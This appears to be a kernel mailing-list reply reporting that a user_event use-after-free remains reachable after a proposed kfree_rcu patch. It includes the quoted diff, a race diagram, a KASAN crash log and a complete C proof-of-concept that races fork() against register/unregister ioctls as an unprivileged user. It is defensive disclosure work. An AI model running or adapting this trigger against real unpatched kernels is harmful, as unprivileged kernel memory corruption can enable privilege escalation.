Hi,

I came across the Sashiko AI review [1] in this thread and wanted to
share some test results that may be useful.

First — thank you for this patch!  The enabler UAF in
user_event_mm_dup() is a real bug and the fix (kfree → kfree_rcu) is
the right approach for protecting the RCU list walkers.  The selftest
results you included in the commit are also really helpful.

However, I was able to reproduce a second UAF on the *user_event*
object that the Sashiko review flagged — it's still reachable after the
patch is applied.  I've included a PoC and crash log below.

On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote:
> @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct user_event_enabler *enabler,
>      /* No longer tracking the event via the enabler */
>      user_event_put(enabler->event, locked);
>
> -    kfree(enabler);
> +    /*
> +     * The enabler is removed from an RCU-traversed list
> +     * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
> +     * so the backing memory must outlive a grace period.
> +     */
> +    kfree_rcu(enabler, rcu);
>  }

The issue: user_event_put(enabler->event, locked) is called
synchronously, before kfree_rcu(enabler, rcu).  If this drops the last
reference to the user_event, delayed_destroy_user_event() is scheduled
on a workqueue, which calls destroy_user_event() → kfree(user).  The
user_event memory is freed without RCU protection.

But the enabler itself is now protected by kfree_rcu — it remains
visible to RCU readers in user_event_mm_dup() during fork().  Those
readers access enabler->event (via user_event_enabler_dup →
user_event_get(orig->event)), which now points to freed memory:

  fork()                                       unregister
  ────────                                     ──────────
  user_event_mm_dup()
    rcu_read_lock();
    list_for_each_entry_rcu(enabler, ...)
 user_event_enabler_destroy()
 list_del_rcu(enabler)
 user_event_put(enabler->event)
                                                   → last ref!
                                                   → schedule_work(put_work)
                                                 kfree_rcu(enabler, rcu)
      user_event_enabler_dup(enabler, ...)     [workqueue]
        enabler->event =  delayed_destroy_user_event()
          user_event_get(orig->event);  destroy_user_event()
          ↑ UAF: orig->event was freed! kfree(user_event)

[Reproduction]

The PoC runs as an unprivileged user with access to
/sys/kernel/tracing/user_events_data.  It creates two threads sharing
the same mm:

  - fork_worker:  continuously calls fork()/waitpid(), which triggers
                  user_event_mm_dup() → RCU list walk
  - unreg_worker: continuously registers (DIAG_IOCSREG) and unregisters
                  (DIAG_IOCSUNREG) an event enabler, which calls
                  user_event_enabler_destroy()

The race window is small but reproducible within a few iterations on a
multi-CPU QEMU VM.

[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]

  BUG: KASAN: slab-use-after-free in user_event_mm_dup+0x319/0x630
  Write of size 4 at addr ffff88802c786fa8 by task poc/29997

  Call Trace:
   <TASK>
   dump_stack_lvl
   print_report
   kasan_report
   kasan_check_range
   user_event_mm_dup+0x319/0x630
   copy_process+0x650f/0x8090
   kernel_clone+0x214/0x9c0
   __do_sys_clone+0xce/0x120
   do_syscall_64
   entry_SYSCALL_64_after_hwframe
   </TASK>

  Allocated by task 29998:
   kasan_save_stack
   __kasan_kmalloc
   __kmalloc_cache_noprof
   user_event_parse_cmd+0x721/0x2aa0
   user_events_ioctl+0xcc0/0x1d00
   __x64_sys_ioctl
   do_syscall_64

  Freed by task 5014:
   kasan_save_stack
   __kasan_slab_free
   kfree+0x165/0x710
   destroy_user_event+0x375/0x4f0
   delayed_destroy_user_event+0x8d/0x110
   process_one_work
   worker_thread
   kthread

  Last potentially related work creation:
   queue_work_on
   user_event_put+0x25d/0x460
   user_events_ioctl+0x1795/0x1d00
   __x64_sys_ioctl
   do_syscall_64

  ------------[ cut here ]------------
  refcount_t: addition on 0; use-after-free.
  WARNING: lib/refcount.c:25 at refcount_warn_saturate+0xf9/0x120
  Call Trace:
   user_event_mm_dup+0x349/0x630

The refcount warning on top of the KASAN report is a strong double
confirmation: user_event_get(orig->event) is trying to increment a
refcount on memory that has already been freed and zeroed.

The PoC is attached below.  It's a single C file, compiles with:

  gcc -o poc poc.c -static -lpthread

[1] https://sashiko.dev/#/patchset/20260618222743.538915-1-michael.bommarito%40gmail.com
    (Sashiko AI code review — "Use-After-Free", Severity: Critical)

Thanks,
XIAO

// PoC: user_event UAF on event object via user_event_mm_dup()
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <stdint.h>

#define DIAG_IOC_MAGIC  '*'
#define DIAG_IOCSREG    _IOWR(DIAG_IOC_MAGIC, 0, struct user_reg*)
#define DIAG_IOCSDEL    _IOW(DIAG_IOC_MAGIC, 1, char*)
#define DIAG_IOCSUNREG  _IOW(DIAG_IOC_MAGIC, 2, struct user_unreg*)

struct user_reg {
    uint32_t size; uint8_t enable_bit; uint8_t enable_size;
    uint16_t flags; uint64_t enable_addr; uint64_t name_args;
    uint32_t write_index;
} __attribute__((__packed__));

struct user_unreg {
    uint32_t size; uint8_t disable_bit; uint8_t __reserved;
    uint16_t __reserved2; uint64_t disable_addr;
} __attribute__((__packed__));

static volatile int stop_flag = 0;
static void *enable_page = NULL;
static const char *event_name = "poc_uaf_test";

static int open_fd(void)
{
    int fd = open("/sys/kernel/tracing/user_events_data", O_WRONLY);
    if (fd < 0)
        fd = open("/sys/kernel/debug/tracing/user_events_data", O_WRONLY);
    return fd;
}

static int do_reg(int fd, void *addr)
{
    struct user_reg reg = {0};
    reg.size = sizeof(reg);
    reg.enable_bit = 0;
    reg.enable_size = 4;
    reg.flags = 0;
    reg.enable_addr = (uint64_t)(unsigned long)addr;
    reg.name_args = (uint64_t)(unsigned long)event_name;
    return ioctl(fd, DIAG_IOCSREG, &reg);
}

static int do_unreg(int fd, void *addr)
{
    struct user_unreg unreg = {0};
    unreg.size = sizeof(unreg);
    unreg.disable_bit = 0;
    unreg.disable_addr = (uint64_t)(unsigned long)addr;
    return ioctl(fd, DIAG_IOCSUNREG, &unreg);
}

static void *fork_worker(void *arg)
{
    pid_t pid; int status;
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset); CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
    while (!stop_flag) {
        pid = fork();
        if (pid == 0) _exit(0);
        else if (pid > 0) waitpid(pid, &status, 0);
        else usleep(100);
    }
    return NULL;
}

static void *unreg_worker(void *arg)
{
    int fd;
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset); CPU_SET(2, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
    while (!stop_flag) {
        fd = open_fd();
        if (fd < 0) continue;
        /* Ensure an enabler exists, then unregister to destroy it */
        if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) {
            do_unreg(fd, enable_page);
            do_reg(fd, enable_page);
        }
        close(fd);
        fd = open_fd();
        if (fd < 0) continue;
        do_unreg(fd, enable_page);
        close(fd);
        usleep(100);
    }
    return NULL;
}

int main(int argc, char **argv)
{
    pthread_t t_fork, t_unreg;
    int fd, i, iters = 30;
    if (argc > 1) iters = atoi(argv[1]);
    printf("[+] PoC: user_event UAF in user_event_mm_dup\n");
    printf("[+] Running %d iterations (3s each)\n", iters);
    enable_page = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
        MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (enable_page == MAP_FAILED) { perror("mmap"); return 1; }
    memset(enable_page, 0, 4096);
    fd = open_fd();
    if (fd < 0) { perror("open /sys/kernel/tracing/user_events_data"); return 1; }
    if (do_reg(fd, enable_page) < 0 && errno != EADDRINUSE) {
        perror("reg"); close(fd); return 1;
    }
    close(fd);
    printf("[+] Event initialized\n");
    for (i = 0; i < iters; i++) {
        printf("[+] Iter %d/%d\n", i+1, iters);
        /* Re-create enabler */
        fd = open_fd();
        if (fd >= 0) {
            if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) {
                do_unreg(fd, enable_page);
                do_reg(fd, enable_page);
            }
            close(fd);
        }
        stop_flag = 0;
        pthread_create(&t_fork, NULL, fork_worker, NULL);
        pthread_create(&t_unreg, NULL, unreg_worker, NULL);
        usleep(3000000);
        stop_flag = 1;
        pthread_join(t_unreg, NULL);
        pthread_join(t_fork, NULL);
    }
    printf("[+] Done\n");
    return 0;
}


Reply via email to